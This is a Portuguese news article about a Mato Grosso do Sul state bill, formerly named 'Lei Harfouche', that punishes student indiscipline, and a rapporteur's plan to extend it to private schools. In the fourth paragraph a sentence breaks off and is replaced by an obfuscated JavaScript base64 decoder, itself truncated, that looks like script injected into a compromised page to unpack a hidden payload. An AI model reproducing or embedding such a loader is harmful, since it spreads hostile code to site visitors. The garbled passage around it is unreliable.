[Via Campo Grande News]
Além de mudar de nome, o projeto de lei, que prevê punições para alunos da rede estadual de Mato Grosso do Sul que cometerem atos de indisciplina e vandalismo, poderá incluir as escolas particulares. A proposta voltou para a CCJ (Comissão de Constituição de Justiça) da Assembleia Legislativa, que vai analisar a emenda que retira “Lei Harfouche” do nome do projeto.
Quem vai sugerir a inclusão das instituições de ensino privadas é o deputado estadual Beto Pereira (PSDB), relator da proposta na Comissão de Constituição e Justiça. Conforme o parlamentar, do jeito que está, a lei fere o princípio de isonomia, já que prevê medidas somente para alunos da rede pública de ensino.
Entre seis artigos, incluindo aplicação de atividades educativas, reparação de danos e até revista do material escolar, a proposta, se aprovada, será aplicada exclusivamente para estudantes das escolas públicas do Estado. No município, lei semelhante está em vigor deste 2015.
Ou seja, alunos de function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
“Vou analisar ponto por ponto”, afirmou o parlamentar. A princípio, a análise na CCJ seria apenas sobre a emenda que modifica o nome da lei, mas, como relator, o deputado diz ter a prerrogativa de verificar novamente o projeto inteiro.
Autor do projeto, o deputado Lídio Lopes (PEN), que também faz parte do colegiado, disse ser contrário a qualquer modificação do texto, já que, desde que apresento a proposta, passaram-se dois anos. “Deixaria o processo mais demorado”.
Entenda a polêmica – O projeto de lei levou o nome “Lei Harfouche” porque foi o procurador de Justiça, Sérgio Harfouche, quem sugeriu a demanda. A proposta já havia passado pela CCJ e tinha sido aprovada em primeira votação no Legislativo Estadual.
Às vésperas da votação em segunda, uma palestra em Dourados, distante 255 km da Capital, tornou a polêmica ainda maior, já que foi imposta uma multa para o pai ou mãe que não comparecesse.
No dia da análise, então, favoráveis ao projeto de lei criticaram a postura contrária do deputado Pedro Kemp (PT), chamando-o, inclusive de “cristofóbico”.
Por causa da confusão, Lídio Lopes, autor do projeto, retirou a proposta da pauta e os parlamentares decidiram tirar o nome do procurador, para evitar mais polêmicas.
Agora, a lei ficará na CCJ por, no mínimo, duas semanas. Isto porque, nesta terça-feira, os membros do colegiado definiram o relator, mas não incluíram a emenda na pauta do dia. Ou seja, somente na semana (por volta do dia 20 de junho) que vem que o projetos estará nas mãos de Beto Pereira. O parlamentar, por sua vez, terá uma semana para analisar e entregar o seu parecer.
